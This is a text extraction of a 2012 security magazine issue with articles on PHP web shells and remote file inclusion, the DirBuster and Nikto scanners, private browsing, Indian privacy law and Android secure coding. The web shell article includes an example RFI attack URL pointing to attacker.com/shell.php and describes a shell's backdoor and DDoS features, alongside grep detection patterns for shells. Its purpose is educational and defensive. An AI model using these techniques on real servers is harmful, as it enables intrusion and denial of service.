29
 Issue30   Jul2012 | Page-1  

club-hack-magazine-30.pdf

Embed Size (px)

Citation preview

Page 1: club-hack-magazine-30.pdf

8/11/2019 club-hack-magazine-30.pdf

http://slidepdf.com/reader/full/club-hack-magazine-30pdf 1/29

Issue 30 – Jul 2012 | Page -1

Page 2: club-hack-magazine-30.pdf

8/11/2019 club-hack-magazine-30.pdf

http://slidepdf.com/reader/full/club-hack-magazine-30pdf 2/29

Issue 30 – Jul 2012 | Page -2

Page 3: club-hack-magazine-30.pdf

8/11/2019 club-hack-magazine-30.pdf

http://slidepdf.com/reader/full/club-hack-magazine-30pdf 3/29

Issue 30 – Jul 2012 | Page -3

PHP ShellsHi boyz‘n‘girls.

This is my first appearance on ClubHack,hope not the last. :D

Anyway straight to the point.

I will talk about ―PHP shells‖.

PHP shells are used by Blackhats tomaintain persistence into a compromisedmachine, typically a webserver.

A ―shell‖ is the common name given to aCommand Line Interface (CLI) used tointeract with the Operating System, even atlow level. The usage requires the knowledgeof a discrete set of commands that are oftendifferent among different OperatingSystems (e.g. Unix/DOS).

After a successful breach into a vulnerablesystem, the attacker could adopt a ―Shell‖ asa payload in order to taking control of the victim system.

Nowadays these shells, derived from theDOS Shells of the nineties, are generallyeasier to use, with a ―friendly‖ interface and,they require low ―skill‖ to control the targetsystem.

Few words on .php

The PHP was developed in 1994, in a veryembryonic stage compared to the actuallanguage, as a scripting language for pagesavailable through web servers; it also can beused directly from the CLI.

The PHP shell

A PHP Shell is a shell wrapped in a PHPscript to execute arbitrary commands or

browse the file system on a remote webserver.

It could replace a telnet connection, and to alesser degree a SSH connection.

The main advantage is to simplify themanagement and administration of thecompromised machine.

In other words, PHP shells are PHP scriptsthat allow the attacker to execute a numberof commands on a remote server through asimple web-based interface.

Page 4: club-hack-magazine-30.pdf

8/11/2019 club-hack-magazine-30.pdf

http://slidepdf.com/reader/full/club-hack-magazine-30pdf 4/29

Issue 30 – Jul 2012 | Page -4

Figure 1 - Example of a PHP Shell: C99

They are used by Blackhats to easily managethe compromised server, install new tools,attack other sites, etc.

During the last decade a large number ofshells have been developed to fulfill thistask, the following is a non-exhaustive list ofnames:

Ajan c99 casus15 cmd CyberEye CyberSpy5

EFSO_2 elmaliseker iMHaPFtp indexer klasvayv ntdaddy phpinj phpshell phvayv r57shell

Many of these shells have multiple versions,ranging from simple mods to theintroduction of new features.

In terms of functionality, a basic set ofcommands includes:

File system management (listing ofdirectories, changing the attributesof files),

File upload, Command Execution.

More advanced features allow the attackerto connect to databases, install trojans,inject HTML text (e.g., iframes) into all the

web pages on the server, or brute-force FTPcredentials.

Some shells have the ability to check forupdates and to self-remove from the remoteserver.

In conclusion, we can affirm that there aremany PHP shell published and used byBlackhats each more evolved than the other.

Some samples implement encryption, fordata transmission, and encoding toobfuscate the presence of malware on thecompromised server.

Usually the shell injection is the result ofexploited vulnerabilities in web

applications, such as server configurationerrors or the ftp account weakness.

Recently the proliferation of these shells hastransformed the phenomenon in a realmenace because their access could be soldor rent to large number of people looking toperform malicious activities.

Page 5: club-hack-magazine-30.pdf

8/11/2019 club-hack-magazine-30.pdf

http://slidepdf.com/reader/full/club-hack-magazine-30pdf 5/29

Issue 30 – Jul 2012 | Page -5

Figure 2 - r57 shell example

One of the most used attack vectors is theRemote File Inclusion (RFI).

The RFI is an attack technique used toexploit "dynamic file include" mechanismsin web applications.

When web applications take user input(URL, parameter value, etc.) and pass theminto file include commands, the webapplication can be tricked into includingremote files with malicious code.

Remote File Inclusion Attack

VectorRemote File Inclusion vulnerabilities arecommon in poorly written or poorlycontrolled code.

The presence and the exploitation of this vulnerability depend mainly on theconfiguration of web servers and from thespecific parameter values register_globalsand allow_url in the php.ini file.

RFI attacks are used to force the inclusion ofa remotely (or even local) running code intothe web server.

File inclusion is used for packaging commoncode into separate files that are latelyreferenced by main application modules.

When a web application references aninclude file, the code in this file may beexecuted implicitly or explicitly by callingspecific procedures. If the choice of moduleto load is based on elements from the HTTP

request, the web application might be vulnerable to RFI.

A classic example may be found into asection of website page code that allows thechoice of display language. Consider thefollowing PHP code snippet:

Snippet 1 - PHP code defining the displaylanguage

The code that handles this mechanismoccurs if a particular language is chosenthrough the $LANG parameter.

If it is true it assigns that value to the variable lang, otherwise it assigns thedefault EN (English) value.

After this, the code proceeds the execution by including the file related to the languageusing the include command.

The programmer who wrote this code didnot expect much input as en or fr (or more)and decide that there is no need to "sanitize"the statement.

This implies that the programmer does notperform further checks on the parameter$LANG.

The attack goal is to exploit the missingcheck to the $LANG variable.

if (isset( $_GET['LANG'] ) ) {$lang = $_GET['LANG'];}

else { $lang = 'en';}…. include( $lang . '.php' );

Page 6: club-hack-magazine-30.pdf

8/11/2019 club-hack-magazine-30.pdf

http://slidepdf.com/reader/full/club-hack-magazine-30pdf 6/29

Issue 30 – Jul 2012 | Page -6

The exploitation permits, for example, toinclude another local file and obtain itsexecution from the Server, with thesubsequent access to it.

For example (please refers to fig.2) the fileincludes may be the PHP Shell.

Consider the following URL:

http://www.target.com/vuln_page.php?lang=http://www.attacker.com/shell.php

In this case the included file name willresolve to:

http://www.attacker.com/shell.php

Thus, the remote file will be included andany code in it will be run by the server.

PHP is particularly vulnerable to RFIattacks due to the extensive use of "fileincludes" in PHP programming and due todefault server configurations that increasesusceptibility to an RFI attack.

A Shell example: MadSpot Shell

In order to explain the topic I will introducea recently coded PHP Shell.

This shell is called ―MadspotShell‖, it takesthe name from The MadSpot Team, a Crewinvolved in its development.

The version of MadSpot Shell (v.1.0) iscomposed of a single PHP page:

madspotshell.php

The package, which can be found on theirsite (http://www.madspot.net ), onceextracted, is composed of the followingelements:

Figure 4 - MadSpot Shell Package

I will not talk about the early stage of theattack that allows the installation of theShell because it is trivial. Usually a good

web scanner on a bulletproof server is all

Figure 3 - Remote File Inclusion Attack scheme

Page 7: club-hack-magazine-30.pdf

8/11/2019 club-hack-magazine-30.pdf

http://slidepdf.com/reader/full/club-hack-magazine-30pdf 7/29

Issue 30 – Jul 2012 | Page - 7

the blackhat needs in order to identify andexploit the victim.

Once the shell files are uploaded, theattacker can navigate to the relative URL to

check whether the file is present. In our caseI‘ve taken these screensh ot from my lab on aLAMP Linux box at:http://192.168.2.129/madspotshell/madspotshell.php#

This is the home where we can see the list offiles, and the menu with other options.

Below the list of file, we can see a small"Panel" (depicted in Figure 6) showingfollowing details:

This ―Panel‖ is always visible to the user andthe available functions are:

Mk File Mk Dir

Delete Ch Mod Change Dir Http Download Execute

In the box "Mk File" you can enter the name

of the file to be created. The option "MkDir", instead, creates a directory and the"Delete" function can delete a file.

"Ch Mod" command can be used to changefiles permissions.

Immediately below we see the box "ChangeDir" through which we can change thedirectory.

Figure 6 - MadSpot Shell details

Figure 5 - PHP Home shell

Page 8: club-hack-magazine-30.pdf

8/11/2019 club-hack-magazine-30.pdf

http://slidepdf.com/reader/full/club-hack-magazine-30pdf 8/29

Issue 30 – Jul 2012 | Page -8

Then there is "Execute" where we can entertext commands or load a file to beingexecuted.

Finally, we find the "HTTP Download" box

where we can enter a URL to download a filedirectly from a web address.

In the next tab "Process" we find everythingrelated to the processes of the machine:

These are the sub-menu that we find in thissection:

Process status Syslog Resolv Hosts Passwd Cpuinfo Version Sbin Interrupts

lsattr Uptime Fstab

HDD Space

There are many options to "Process Status" where we can see the details about activeprocesses, "Syslog" for system logs and

other options on the machine and itsprocesses.

In the tab "Eval" we find three options:

INI_INFO PHP Info Extension

In "INI_INFO" we can find a "text box" where we can write code and then click on"Eval" button for execute. In "PhpInfo"there are all information about the PHPinstallation and configuration on themachine, including the extensions and theirdetails. However clicking on the button"extensions", we can see the list ofextensions without the details.

Going forward, the next tab is "SQL":

Figure 7 - Injected Webserver Processes

Figure 8 - SQL Tab

Page 9: club-hack-magazine-30.pdf

8/11/2019 club-hack-magazine-30.pdf

http://slidepdf.com/reader/full/club-hack-magazine-30pdf 9/29

Issue 30 – Jul 2012 | Page -9

With this function, the attacker canconfigure a connection to a database.

This is useful for a Blackhat in order to trackserver accesses and other tricks.

Continuing with the pages, we found"HASH", where encoding options areavailable (Figure 9):

The next tab is "Connect" (Figure 10), hereit is possible set the parameters for a

backdoor, in PERL or PHP, choosing the IPaddress and PORT.

In the "ZONE-H" section (Figure 11), we founda "notifier", useful to announce thedefacement of the site that the attacker hascorrupted.

Figure 9 - HASH function

Figure 10 - Connect Tab

Figure 11 - Zone-H notifier

Page 10: club-hack-magazine-30.pdf

8/11/2019 club-hack-magazine-30.pdf

http://slidepdf.com/reader/full/club-hack-magazine-30pdf 10/29

Issue 30 – Jul 2012 | Page -10

Continuing our browsing in MadSpot Shelltabs we can find the "DDOS" tab (Figure12), where the attacker can launch a DDoSattack by entering parameters such as, host,time, and the door.

This tool creates a socket toward the Hostselected into the box and, for the givenperiod of time, it sends a large number ofUDP Packets filled with the ―X‖ character to

it. The number ranges from 1 to 65000.

By considering the packet fragmentation(potentially inside a variable MTU networkpath) the number of data unit transmittedduring the given time frame could reachhigh values.

The source code of this part of the shell isshown in Figure 13.

Figure 12 - DDoS Tab

Figure 13 - DDoS function code

Page 11: club-hack-magazine-30.pdf

8/11/2019 club-hack-magazine-30.pdf

http://slidepdf.com/reader/full/club-hack-magazine-30pdf 11/29

Issue 30 – Jul 2012 | Page -11

The result of this action is flooding a largenumber of UDP fragmented packets:

In this picture you can see the content of asingle datagram:

Despite there are even more feature-richestshells the MadSpot is a good example of what can be done once the shell is on the webserver. Think about it next time youleave an easy to guess root password on your Apache…

Mitigation against PHP Shells

The main cause of PHP infections are three:

1. Badly coded Web applications,subject to SQL injection and remotefile inclusion,

2. Weak passwords scheme for WebServices maintenance

3. Poor security measures on FTPServer side.

The highest rates of compromise are due to weak password protected FTP accounts. Automated attacks are often able toundercut access FTP taking control of the

web space first and then the entire server.

Figure 14 - UDP Flood generated byfragmented packet streams

Figure 15 - UDP packet Payload

Page 12: club-hack-magazine-30.pdf

8/11/2019 club-hack-magazine-30.pdf

http://slidepdf.com/reader/full/club-hack-magazine-30pdf 12/29

Issue 30 – Jul 2012 | Page -12

If the machine does not implement securitymeasures, the platform could easily fall preyof automated or semi-automated scanner.

Typically, shells are found in standalone

files.The best way to remove the shell is to deletethe file from the server.

If the code is found inside an existing file,replacing the file with an original copy thatis known to be clean could be enough. Incase you do not have an original copy, youmay try cleaning the code although thisleaves chances for hidden code not being

removed. You should also search for any references tothe shell files within other files.

They may contain include statements oradditional malicious code. Those filesshould be cleaned or deleted.

A common technique to spot shells is to findfor some known filenames. The downside ofthis approach is that there are so manyfilenames that is quite impossible to enlistthem all. Moreover PHP Shells may befound with random filenames or names thatlook similar to legitimate files.

In addition, PHP shells usually try to hidethemselves using random combinations of base64_encode, gzdeflate, etc.

You‘re going to get plenty of false positives

using this method, by using common senseand this simple command line it‘s possibleto weed out most popular exploits which areeither standalone files or embedded intoexisting files.

Replace the path below with the absolutepath of the directory you want to recursivelyscan. For example, you could recursivelyscan from the working directory:

Snippet 2

Scan all public-facing web folders on acPanel box:

Snippet 3

To summarize, some suggestions in order tomitigate these attacks from happening into

your server would be:

Lock down directory security in IISand Apache.

Don‘t allow for 777 permissions todirectories,

Make sure the 3rd party web appsare up to date and running with leastprivileges needed.

grep"((eval.*(base64_decode|gzinflate))|r57|c99|sh(3(ll|11)))" . -roE --include=*.php*

grep"((eval.*(base64_decode|gzinflate))|r57|c99|sh(3(ll|11)))"

/home/*/public_html/ -roE --include=*.php*

Page 13: club-hack-magazine-30.pdf

8/11/2019 club-hack-magazine-30.pdf

http://slidepdf.com/reader/full/club-hack-magazine-30pdf 13/29

Issue 30 – Jul 2012 | Page -13

The web-based applications are graduallygaining more and more importance andtheir growing complexity and dynamismprovides an wide "attack surface" toattackers.

It is essential to consider the exposureoffered by low quality web code and badadministration of public platform.

There are many other things to look at whensecuring a Web application, but the abovecertainly are the basics and must beconsidered when preparing a webapplication for the big internet.

Stefano [email protected]

Stefano Maccaglia is the Chief ResearchOfficer in Black Sun Labs. He is aJournalist, Analyst and Network with alot of experience with cyberwarfare,malware analysis, reverse emgineeringand networking. He has also guidedBlack Sun Red Team in the last five yearson Pen Testing engagements in variouscountries. He has experience in IncidentResponse Team design, activities andprocedures and has worked with Top 30Italian companies in Security andNetworking.

Page 14: club-hack-magazine-30.pdf

8/11/2019 club-hack-magazine-30.pdf

http://slidepdf.com/reader/full/club-hack-magazine-30pdf 14/29

Issue 30 – Jul 2012 | Page -14

OWASP DirBuster – Bruteforcing the Web

DirBuster is a multi-threaded Javaapplication designed to brute forcedirectories and files names on web/application servers. Often is the casenow of what looks like a web server in astate of default installation is actually not,and has pages and applications hidden within. DirBuster attempts to find these.

This tool is written by James Fisher andnow an OWASP's Project, licensed underLGPL.

DirBuster provides the following features:

Multi-threaded has been recorded atover 6000 requests/sec

Works over both http and https Scan for both directory and files Will recursively scan deeper into

directories it finds Able to perform a list based or pure

brute force scan

DirBuster can be started on anydirectory

Custom HTTP headers can be added Proxy support Auto switching between HEAD and

GET requests Content analysis mode when failed

attempts come back as 200 Custom file extensions can be used Performance can be adjusted while

the program in running Supports Basic, Digest and NTLM

auth Command line GUI interface

Page 15: club-hack-magazine-30.pdf

8/11/2019 club-hack-magazine-30.pdf

http://slidepdf.com/reader/full/club-hack-magazine-30pdf 15/29

Issue 30 – Jul 2012 | Page -15

How works DirBuster?

It works with the "Fail Cases", for example,DirBuster will attempt to determine ifsomething is available and if the test

executed returns a result different from the"Fail Case".

It is very interesting to say that the lists were generated crawling the Internet andcollecting the directory and files that areactually used by developers.

DirBuster has a total of 9 different lists:

1. Apache User Enumeration 1.02. Apache User Enumeration 2.03. Directory List 1.04. Directory List 2.3 Small5. Directory List 2.3 Medium6. Directory List 2.3 Big7. Directory List Lowercase 2.3 Small8. Directory List Lowercase 2.3

Medium9. Directory List Lowercase 2.3 Big

The directory lists are distributed under

Creative Commons Attribution-Share Alike3.0 License.

You can select the scanning type "PureBrute Force" if you have time, and try withdifferent Char set, setting the Max and MinLength.

Other interesting options are:

Brute Force Dirs.

Brute Force Files. Be Recursive. Use Blank Extension. Dir to start with (for example "/"). File Extension.

Also you can put a URL and try it withfuzzing, for example:

/test.html?url={dir}.asp

What DirBuster can do for me?

Attempt to find hidden pages/directoriesunlinked, giving you another attack vector.

How does DirBuster help in the building of secure applications?

DirBuster is able to find content on the webserver or within the application that is notrequired and from the developers point of

view understand that by simply not linkingto a page does not mean it cannot beaccessed, the basic concept of ―Securitythrough obscurity‖.

What DirBuster will NOT do for you?

Exploit anything it finds. This is not thepurpose of this tool.

Installation & Usage

1. Unzip or untar the download.2. cd into the program directory.3. To run the program java -jar

DirBuster-0.10.jar (Windowsuses should be able to just doubleclick on the jar).

4. Recommended list to use isdirectory-list-2.3-medium.txt.

Page 16: club-hack-magazine-30.pdf

8/11/2019 club-hack-magazine-30.pdf

http://slidepdf.com/reader/full/club-hack-magazine-30pdf 16/29

Issue 30 – Jul 2012 | Page -16

Requirements

DirBuster requires Java 1.6 or above.

Command Line

Run DirBuster in headless mode.

java -jar DirBuster-0.12.jar -H-u https://www.target.com

Start GUI with target file prepopulated.

java -jar DirBuster-0.12.jar -uhttps://www.target.com

Official Website

https://www.owasp.org/index.php/Categor y:OWASP_DirBuster_Project

Maximiliano [email protected]

T: @maxisolerPGP ID: 0x1DDEDB1E

Maximiliano is a Security Analyst working in an International Bank andparticipating in some Projects like

Vulnerability Database, Zero ScienceLab, OWASP. Max is a fanatic of openstandards.

Page 17: club-hack-magazine-30.pdf

8/11/2019 club-hack-magazine-30.pdf

http://slidepdf.com/reader/full/club-hack-magazine-30pdf 17/29

Issue 30 – Jul 2012 | Page -17

PRIVATEBROWSING While trying to read what ―private browsing‖ means, I came across its page in Wikipedia.It has a very interesting definition. It reads

as follows:Privacy mode or "private browsing" is aterm that refers to privacy features in some web browsers. Historically speaking, web browsers store information such as browsing history, images, videos and text within cache. In contrast, privacy mode can be enabled so that the browser does notstore this information for selected browsingsessions.

Now my question is have you ever triedprivate browsing? If your answer is NO thenthis article might help you and this is the best time for you to learn. New browsersoffer this facility that can hide your webactivity such as shopping at online retailers

for gifts. It‘s also useful when you‘re on apublic terminal.

Anytime you surf online, you leave behinddata tidbits. The amount of data varies

based on the website you visit and your browser settings. With most shopping sites, you might produce:

Cookies Download History Temporary Internet files Bookmarks Form Data Web History Search History DNS lookups

It is not necessary that this data reveals theshopping sites you visited or what you havepurchased but it does offer some hints. Tohelp consumers, many web browsers addeda private browsing mode that doesn‘t save

Page 18: club-hack-magazine-30.pdf

8/11/2019 club-hack-magazine-30.pdf

http://slidepdf.com/reader/full/club-hack-magazine-30pdf 18/29

Issue 30 – Jul 2012 | Page -18

everything. Each vendor uses slightlydifferent names.

Google Chrome – Incognito WindowFirefox – Private Browsing

Internet Explorer – In Private Browsing

One important point about this browserfeature is it not the same as anonymous browsing. The sites you visit and your ISPprobably recorded your activity in somemanner. If you‘re not familiar with what a web site may capture, you can read ourarticle on what a web server log can include.

Although most data elements aren‘t saved with private browsing some are. Forexample, if you create a bookmark ordownload files to your PC, that data will beretained. The same goes for DNS cacheentries although I doubt anyone looksthrough these to figure out shoppingpatterns. And if you want to hide a web bookmark, try using the ―Mark as private‖feature on a service like Delicious.

On e other caveat is this mode won‘t eraseprevious web data. For example, if you had visited http://www.amazon.com/ anddownloaded a cookie, it won‘t be erased when you turn on a private browsingfeature. This mode only impacts data during your private browsing session such as a newcookie.

In GOOGLE CHROME when you invokethis feature a new browser window opens

with an icon in the top left corner that looksto me like a morph of the ―Invisible Man‖and Mad magazine‘s ―Spy vs. Spy‖characters.

While not all this data reveals the shoppingsites you visited or your purchases, it offersclues. To help consumers, many web

browsers added a private browsing modethat doesn‘t save everything. Each vendoruses slightly different names.

Varun Nair [email protected]

Varun Nair is an amtech student inBhopal. Varun is also a securityenthusiast.

Page 19: club-hack-magazine-30.pdf

8/11/2019 club-hack-magazine-30.pdf

http://slidepdf.com/reader/full/club-hack-magazine-30pdf 19/29

Issue 30 – Jul 2012 | Page -19

Page 20: club-hack-magazine-30.pdf

8/11/2019 club-hack-magazine-30.pdf

http://slidepdf.com/reader/full/club-hack-magazine-30pdf 20/29

Issue 30 – Jul 2012 | Page -20

SECTION 66E -PUNISHMENT FORVIOLATION OF PRIVACY

IntroductionIn some of the latest articles we havefocused on the areas of data privacy, due

diligence to be observed by the companieshandling sensitive personal data, etc. But,not much has been spoken /written on violation of person‘s privacy. I.e. ensuringprivacy on an individual at the places wherehe/she under the normal circumstancesexpects to be in a private environment.

A reference can be given to infamous Punespycam incident where a 58-year old man was arrested for installing spy cameras inhis house to ‗snoop‘ on his young la dytenants.

It was difficult for law enforcement agenciesthen to book him under the provisions of

cyber pornography as he was neitherpublishing nor transmitting the obscenematerial in the electronic form.

The section reads as – Punishment for violation of privacy

Whoever, intentionally or knowinglycaptures, publishes or transmits the imageof a private area of any person without his

or her consent, under circumstances violating the privacy of that person, shall bepunished with imprisonment which mayextend to three years or with fine notexceeding two lakh rupees, or with both.

Explanation — for the purposes of thissection.

a) ―Transmit‖ means to electronicallysend a visual image with the intentthat it be viewed by a person orpersons;

b) ―Cap ture‖, with respect to an image,means to videotape, photograph,film or record by any means;

Page 21: club-hack-magazine-30.pdf

8/11/2019 club-hack-magazine-30.pdf

http://slidepdf.com/reader/full/club-hack-magazine-30pdf 21/29

Issue 30 – Jul 2012 | Page -21

c) ―Private area‖ means the naked orundergarment clad genitals, pubicarea, buttocks or female breast;

d) ―Publishes‖ means reproduction in

the printed or electronic form andmaking it available for public;

e) ―Under circumstances violatingprivacy‖ means circumstances in

which a person can have areasonable expectation that.

i. He or she could disrobe inprivacy, without beingconcerned that an image ofhis private area was beingcaptured;

ii. Any part of his or her privatearea would not be visible tothe public, regardless of whether that person is in apublic or private place.

CommentsProvisions of this section specifically deal with ‗privacy of a person‘. It should not beconfused with section 67 of the IT Act, i.e.law related to cyber pornography.

Provisions of this section are applicable ifsomeone –

Captures. Publishes. Transmits.

Image of a private area of any person without his or her consent, under the

circumstances violating the privacy of thatperson.

Illustration

Every day, Sameer and Pooja go for aswimming at their college swimming pool.Pooja is a young, bright and charming girl

with whom every guy wants to hang out with.Recently, Sameer noticed that Pooja isdating a guy from their college. Sameer

became jealous of the fact and he hidden a

small web camera in the swimming pool‘schanging room to snoop the activities ofPooja. He removed the camera after fewdays and downloaded the photographs and

videos of Pooja changing her cloths.

Sagar [email protected]

Sagar Rahurkar is a Law graduate, aCertified Fraud Examiner (CFE) and acertified Digital Evidence Analyst.

He specializes in Cyber Laws, Fraudexamination, and Intellectual PropertyLaw related issues. He has conductedexclusive training programs for lawenforcement agencies like Police,Income

He is a regular contributor to variousInfo-Sec magazines, where he writes onIT Law related issues.

Page 22: club-hack-magazine-30.pdf

8/11/2019 club-hack-magazine-30.pdf

http://slidepdf.com/reader/full/club-hack-magazine-30pdf 22/29

Issue 30 – Jul 2012 | Page -22

Webserver Scanningwith Nikto

Hello CHMag readers, Greets from teamMatriux! We hope the readers are enjoyingand learning the tutorials in Matriux Vibhag, with that hope let‘s move on to thisedition‘s tutorial.

In this edition we are going to cover asimple tutorial on a very simple toolincluded in Matriux arsenal called Nikto.

What is Nikto?

For the people who haven‘t heard aboutNikto yet – Nikto is an open source (GPL) webserver scanning tool written in perl. The basic use of this tool is to fingerprint the webserver and scan for weaknesses likeoutdated software versions, serverconfigurations, directory indexing etc. Nikto

currently holds the #14th position ranked bysectools.org which shows the popularity ofthe tool. A big greets to Chris Sullo andDavid Lodge, the creators of this awesometool.

Features

Nikto has some awesome features whichmakes the tool handy during pen tests.Some of the key features are:

Test against web servers over 6400potentially dangerous files/CGIs.

Checks for outdated versions of over1200 servers.

Checks for version specific problemson over 270 servers.

This tutorial section won‘t be enough tomention all the features; you can visit theofficial website (http://cirt.net/nikto2) toget the complete list of features.

Page 23: club-hack-magazine-30.pdf

8/11/2019 club-hack-magazine-30.pdf

http://slidepdf.com/reader/full/club-hack-magazine-30pdf 23/29

Issue 30 – Jul 2012 | Page -23

Getting Ready

In Matriux, Nikto can be accessed in the Arsenal under [Arsenal->Scanning->WebScanners->Nikto]

A basic Nikto scan only requires a target (IPor host name) which is specified using – h(host) option.

This will scan the specified IP/hostname onTCP port 80, since it is set to be default ifother ports are not specified.

Prior to scan the target, you can check the version of Nikto using the Version ( -V )

option.

You can also update Nikto to the latest version available using the option -update .

Okay! Once you are done with the versioncheck and updating, we are ready to triggerour scan.

For this tutorial we are using MatriuxKrypton (R2) release as our testing machine

and we‘ve our local target on192.168.1.104 running a webserver whichis intentionally unpatched for testingpurpose.

The basic Nikto scan command is shown below:

The complete scan result generated by Niktois shown below. You can clearly see theNikto scan

identified the server platform and software versions. In this case our target is runningan outdated version of Apache web server

(Apache/2.2.14) and shown the details oflatest release.

You can read the results line-by-line to getsome interesting information about our

target.

Apart from checking target platform andsoftware versions, in the above scan wecould see it also checked for interestingdirectories and files – Which may later helpus to own the box!

Page 24: club-hack-magazine-30.pdf

8/11/2019 club-hack-magazine-30.pdf

http://slidepdf.com/reader/full/club-hack-magazine-30pdf 24/29

Issue 30 – Jul 2012 | Page -24

Examine the output!

As the golden rule says – all the results arenot meant to be security issues. Just like anyother tool, Nikto can also sometimes come

up with some false positives. It‘s the job ofthe pen tester to analyze the results bymanually checking them.

For the purpose of this tutorial we are goingto manually check and confirm few of therandom results generated by Nikto.

1. + /phpmyadmin/: phpMyAdmindirectory found

2. + OSVDB-3268: /pdf/: Directory

indexing found.3. + /administration/: Admin loginpage/section found.

So far so good ;-)

Some key commands to remember

Some key commands to remember! nikto -h [target host] - Basic scan nikto -h [target host] -p [port

number] – Check specific portnumber

nikto – H - Help! nikto -h [target host] -useproxy

http://localhost:8080/ - Scan viaproxy

nikto – V – Version check

nikto – update – Update nikto

Nikto is not a stealth fighter!!!

Nikto is not at all a stealth scanner, it isdeveloped in a way to perform a speedy scanon target – So we can fairly expect entries inthe log files.

References

http://www.cirt.net/nikto2/

http://cirt.net/nikto2-docs/

Happy Hacking

Team Matriux

http://matriux.comReach us at: [email protected]

Twitter: @matriuxtig3r

Facebook: fb.com/matriuxtig3r

Page 25: club-hack-magazine-30.pdf

8/11/2019 club-hack-magazine-30.pdf

http://slidepdf.com/reader/full/club-hack-magazine-30pdf 25/29

Issue 30 – Jul 2012 | Page -25

Basics of AndroidSecure Coding Android is an OS designed for Smartphones. The phones are meant for officeproductivity apps, games, social networksetc. The phone comes pre-installed with aselection of system applications, e.g., phonedialer, address book, but the platform givesample opportunities for the developers tocreate their own applications and publishinto the huge android market, so called the―Play Store‖.

With companies/enterprises supporting'BYOD', the phones these days are full ofsensitive data. As a platform, Android hasits own security model which takes care ofmost of the things, but still there are cases where this security model itself has failed orpeople have misused somefunctionality/feature itself.One of the basicsecurity measure is the Application sandboxin which each application runs in its owndalvik VM and cannot contact other running

applications directly. Applications interact with each other and the phone throughdifferent forms of IPC. This article targetsthe android application developers andexpects that the reader has some basicknowledge of some of terms like

Activities,Intents,Services,Receivers,Content Providers.

Intents are typed interprocess messages that

are directed to particular applications orsystems services, or broadcast toapplications subscribing to a particularintent type. Persistent content provider datastores are queried through SQL-likeinterfaces. Background services provideRPC and callback interfaces thatapplications use to trigger actions or accessdata. Finally user interface activities receivenamed action signals from the system andother applications. Binder acts as amediation point for all IPC. Mentioned

below are some of the basic securitymeasured a android application developershould take care while coding anapplication.

Page 26: club-hack-magazine-30.pdf

8/11/2019 club-hack-magazine-30.pdf

http://slidepdf.com/reader/full/club-hack-magazine-30pdf 26/29

Issue 30 – Jul 2012 | Page -26

Android Permissions

Application needs prior approval to haveaccess to things which might be restricted by default like, telephony, sms, and

contacts. The permissions are stored in AndroidManifest.xml and user agrees tothem upon install. Users won‘t understandhow their device works, so keep permissionssimple and avoid technical terms likeBinder, Activity or Intent when describingpermissions to users.

Intents

Intents are the preferred mechanism forasynchronous IPC in Android.

Intents are used in many ways in androidsystem. Using Context‘s startActivity()method it can be used as broadcasts toinform interested programs of changes orevents. Using Context‘s sendBroadcast(),sendStickyBroadcast(), andsendOrderedBroadcast() family of methods

as a way to start, stop or communicate with background Services. Using Context‘sstartService(), stopService(), and

bindService() methods to access datathrough ContentProviders, such as the

user‘s contacts. Using Context‘sgetContentResolver() or ActivitiesmanagedQuery() as call backs to handleevents, like returning results or errorsasynchronously with PendingIntentsprovided by clients to servers through theirBinder interfaces

If you are sending Intent where delivery to aspecific receiver is required, the intent must

be delivered directly to the receiver, so they

may not be delivered to all applications.

Senders of Intent can verify that therecipient has a permission specifying a non-Null Permission upon sending. Onlyapplications with that Permission willreceive the intent. If data within a broadcastintent may be sensitive, you should considerapplying a permission to make sure thatmalicious applications cannot register toreceive those messages without appropriatepermissions. In those circumstances, youmay also consider invoking the receiverdirectly, rather than raising a broadcast.

Broadcast Receiver

Broadcast receivers are used to handleasynchronous requests initiated via anintent. By default, receivers are exportedand can be invoked by any otherapplication. If your BroadcastReceivers isintended for use by other applications, youmay want to apply security permissions toreceivers using the <receiver> element

within the application manifest. This willprevent applications without appropriatepermissions from sending Intent to theBroadcastReceivers.

Page 27: club-hack-magazine-30.pdf

8/11/2019 club-hack-magazine-30.pdf

http://slidepdf.com/reader/full/club-hack-magazine-30pdf 27/29

Issue 30 – Jul 2012 | Page -27

Activities

Activities are most often used for providingthe core user-facing functionality of anapplication. By default, Activities are

exported and invokable by otherapplications only if they have an intent filteror binder declared. In general, werecommend that you specifically declare aReceiver or Service to handle IPC, since thismodular approach reduces the risk ofexposing functionality that is not intendedfor use by other applications.

Activities cannot rely on IntentFilters (the<intent-filter> tag in AndroidManifest.xml)

to stop callers from passing them badlyconfigured Intents. Misunderstanding thisis actually a relatively common source of bugs. On the other hand, Activityimplementers can rely on permission checksas a security mechanism. Setting theandroid:permission attribute in an<activity> declaration will preventprograms lacking the specified permissionfrom directly starting that Activity.Specifying a manifest permission thatcallers must have doesn‘t make the systemenforce an intent-filter or clean intents ofunexpected values so always validate yourinput.

The following code demonstrates forcing the web browser‘s Activity to handle and Intent with an action and data setting that aren‘tpermitted by its intent-filter:

// The browser's intent filter isn't interestedin this actionIntent i = new Intent("Cat-Farm AardvarkPidgen");// The browser's intent filter isn't interestedin this Uri schemei.setData(Uri.parse("marshmaellow:potatochip?"));

// The browser activity is going to get itanyway!i.setComponent(newComponentName("com.android.browser","com.android.browser.BrowserActivity"));

this.startActivity(i);

If you run this code you will see the browser Activity starts, but the browser is robust andaside from being started just ignores this

weird Intent.

Services

Services are often used to supply

functionality for other applications to use.Each service class must have acorresponding declaration in its package's

AndroidManifest.xml.

By default, Services are exported and can beinvoked by any other application. Servicescan be protected using theandroid:permission attribute within themanifest‘s <service> tag. By doing so, otherapplications will need to declare a

corresponding <uses-permission> elementin their own manifest to be able to start,stop, or bind to the service.

A Service can protect individual IPC callsinto it with permissions, by callingcheckCallingPermission() before executingthe implementation of that call. Wegenerally recommend using the declarativepermissions in the manifest, since those areless prone to oversight.

Content Providers

Content Providers are used by applicationsto share raw data like SQL DATA, sounds,images. The <provider> tag in theapplications AndroidManifest.xml registersa provider as available and defines

Page 28: club-hack-magazine-30.pdf

8/11/2019 club-hack-magazine-30.pdf

http://slidepdf.com/reader/full/club-hack-magazine-30pdf 28/29

Issue 30 – Jul 2012 | Page -28

permissions for accessing data. If you donot intend to provide other applications with access to your ContentProvider, markthem as 'android:exported=false' in theapplication manifest.

ContentProviders can also provide moregranular access by declaring thegrantUriPermissions element and using theFLAG_GRANT_READ_URI_PERMISSIONandFLAG_GRANT_WRITE_URI_PERMISSION flags in the Intent object that activates thecomponent. The scope of these permissionscan be further limited by the grant-uri-permission element. When accessing a

